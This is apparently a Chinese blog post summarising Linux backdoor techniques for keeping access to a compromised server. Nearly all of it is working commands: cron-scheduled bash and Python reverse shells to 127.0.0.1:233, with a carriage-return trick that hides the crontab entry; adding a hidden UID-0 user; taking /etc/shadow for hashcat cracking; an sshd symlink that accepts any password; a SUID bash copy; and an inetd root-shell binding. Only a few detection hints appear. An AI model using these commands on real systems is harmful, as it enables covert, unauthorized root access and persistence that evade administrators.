Linux后门总结

测试环境

ubuntu16.04
反弹shell目标:127.0.0.1:233

cron定时反弹shell

修改crontab文件

创建文件 /etc/…

#!/bin/bash

if netstat -ano|grep -v grep | grep "127.0.0.1">/dev/null

then

echo "OK">/dev/null

else

/sbin/iptables --policy INPUT ACCEPT

/sbin/iptables --policy OUTPUT ACCEPT

bash -i >& /dev/tcp/127.0.0.1/233 0>&1

fi

增加权限

chmod +sx /etc/...

然后在/etc/crontab中添加定时任务

*/1 * * * * root /etc/...

最后重启一下 crond 的服务
service cron reload

一句话Crontab后门

bash版本
(crontab -l;printf "*/1 * * * * exec 9<> /dev/tcp/127.0.0.1/233;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab forwhoami%100c\n")|crontab -
python版本
(crontab -l;printf "*/5 * * * * /usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);';\r\rno crontab forwhoami%100c\n")|crontab -

Linux/Unix 添加 UID 为 0 的用户

免交互设置密码
useradd seradd -u 0 -o -g root -G fdrag0n

echo "passwd" | passwd --stdin fdrag0n

因为linux可能有密码策略
所以推荐使用强密码替换passwd

爆破linux密码

取出/etc/shadow
hashcat爆破

ssh公钥免密

将客户端生成的ssh公钥写到所控服务器的~/.ssh/authorized_keys中,然后客户端利用私钥完成认证即可登录。

客户端:

$ ssh-keygen -t rsa
$ ls
id_rsa  id_rsa.pub

把id_rsa.pub写入服务端的authorized_keys中,并修改好相应权限。

服务端:

$ chmod 600 ~/.ssh/authorized_keys
$ chmod 700 ~/.ssh

这种后门的特点是简单易用,但在实战中会被服务器的配置环境所限制,以及容易被发现(只要运维不傻)。

软连接后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=23333;

经典后门。直接对sshd建立软连接,之后用任意密码登录即可。

但这隐蔽性很弱,防护软件或者查看端口状态都可以找到。

重启会断开

SUID shell

在root账号下执行

cp /bin/bash /.fdrag0n
chmod 4755 /.fdrag0n

在普通用户下执行

/.fdrag0n -p

检查手段

find / -perm +4000 -ls

inetd后门

修改 /etc/inetd.conf 文件

原文件:

#chargen dgram udp wait root internal

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

#daytime stream tcp nowait root internal

修改为:

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

daytime stream tcp nowait root /bin/bash bash -i

然后重启inetd

ps -ef | grep inetdroot
kill -HUP xxx

然后nc连接即可

rootkit

openssh后门

参见https://fdrag0n.github.io/2018/05/15/SSH后门复现/

内核级rookit

暂未复现,复现后补上